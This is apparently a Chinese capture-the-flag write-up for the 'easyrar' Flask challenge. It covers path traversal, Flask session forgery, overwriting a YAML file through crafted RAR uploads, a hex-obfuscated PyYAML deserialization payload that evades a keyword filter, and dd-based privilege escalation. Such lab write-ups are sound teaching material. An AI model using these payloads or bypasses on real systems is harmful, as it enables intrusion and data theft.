easyrar
import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, session
app = Flask(__name__)
app.config['SECRET_KEY'] = socket.gethostname()
def response(content, status):
resp = make_response(content, status)
return resp
@app.before_request
def is_login():
if request.path == "/upload":
if session.get('user') != "Administrator":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
return None
@app.route('/', methods=['GET'])
def main():
if not session.get('user'):
session['user'] = 'Guest'
try:
return render_template('index.html')
except:
return response("Not Found.", 404)
finally:
try:
updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
if not session.get('updir'):
session['updir'] = updir
if not os.path.exists(updir):
os.makedirs(updir)
except:
return response('Internal Server Error.', 500)
@app.route('/<path:file>', methods=['GET'])
def download(file):
if session.get('updir'):
basedir = session.get('updir')
try:
path = os.path.join(basedir, file).replace('../', '')
if os.path.isfile(path):
return send_file(path)
else:
return response("Not Found.", 404)
except:
return response("Failed.", 500)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
uploadFile = request.files['file']
filename = request.files['file'].filename
if re.search(r"\.\.|/", filename, re.M|re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"
filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
if os.path.exists(filepath):
return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
else:
uploadFile.save(filepath)
extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
if not os.path.exists(extractdir):
os.makedirs(extractdir)
pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
t_beginning = time.time()
seconds_passed = 0
timeout=60
while True:
if pStatus.poll() is not None:
break
seconds_passed = time.time() - t_beginning
if timeout and seconds_passed > timeout:
pStatus.terminate()
raise TimeoutError(cmd, timeout)
time.sleep(0.1)
rarDatas = {'filename': filename, 'dirs': [], 'files': []}
for dirpath, dirnames, filenames in os.walk(extractdir):
relative_dirpath = dirpath.split(extractdir)[-1]
rarDatas['dirs'].append(relative_dirpath)
for file in filenames:
rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
f.write(yaml.dump(rarDatas))
return redirect(f'/display?file={filename}')
@app.route('/display', methods=['GET'])
def display():
filename = request.args.get('file')
if not filename:
return response("Not Found.", 404)
if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
yamlDatas = f.read()
if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
if rarDatas:
return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
else:
return response('Internal Server Error.', 500)
else:
return response('Forbidden.', 403)
else:
return response("Not Found.", 404)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
首先我们要上传文件,这里有session验证,且key为socket.gethostname()
,在/
路由有目录穿越可以读文件,读一下/etc/hosts
也就是说密钥是engine-1
,用jwt.io伪造session有问题,本地起一个flask
from flask import Flask,session
app = Flask(__name__,template_folder='.')
app.config['SECRET_KEY'] = "engine-1"
@app.route('/',methods=['GET'])
def main():
session['updir'] = "./"
session['user'] = "Administrator"
return "ok"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8889)
之后便可以成功上传文件,接下来审计代码逻辑,这里yaml.load
可以造成反序列化那么我们的目的是覆盖yaml文件
将rar文件名更改为fileinfo.rar
,压缩包内是内容为反序列化payload文件名为fileinfo.rar
的md5的yaml文件
第一次上传了一个fileinfo.rar之后会在fileinfo下生成yaml文件,之后会生成一个同名yaml文件将这个yaml文件覆盖
第二次时将fileinfo.rar
更名为fileinfo.rarb
再上传,此时会覆盖原来yaml文件,且新生成的yaml文件不会覆盖
此时成功控制了写入文件的内容
之后便是yaml反序列化,参考:
https://hackmd.io/@harrier/uiuctf20
我们将payload稍作修改:
需要注意的是rce后发现权限不够,find一下高权限发现dd命令,用dd提权
dirs: ['']
filename: snakin
files:
- !!python/object/new:yaml.MappingNode
listitems: !!str "!!python/object/new:eval [ \x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x64\x64\x20\x69\x66\x3d\x2f\x66\x6c\x61\x67\x20\x6f\x66\x3d\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x63\x2e\x74\x78\x74\x27\x29 ]"
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:yaml.unsafe_load
可以通过以下脚本更换命令
byte_var = b"__import__('os').system('dd if=/flag of=/tmp/flag.txt > /tmp/snakin.txt')"
for i in byte_var:
i = hex(i)
i = i.replace("0", "\\",1)
print(i,end="")
最后利用最开始的目录穿越读我们写入tmp的flag文件